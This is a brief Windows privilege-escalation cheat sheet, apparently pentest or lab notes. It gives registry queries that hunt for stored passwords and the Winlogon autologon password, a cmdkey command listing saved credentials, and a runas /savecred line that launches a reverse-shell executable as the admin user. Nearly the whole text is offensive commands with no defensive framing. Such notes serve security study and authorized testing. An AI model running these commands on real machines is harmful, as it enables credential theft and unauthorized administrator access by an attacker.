Passwords

Searching for passwords

reg query HKLM /f password /t REG_SZ /s

Searching for last user's password upon login

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

List any saved credentials:

cmdkey /list

######## If passwords saved try to get a reverse shell ########
runas /savecred /user:admin C:\PrivEsc\reverse.exe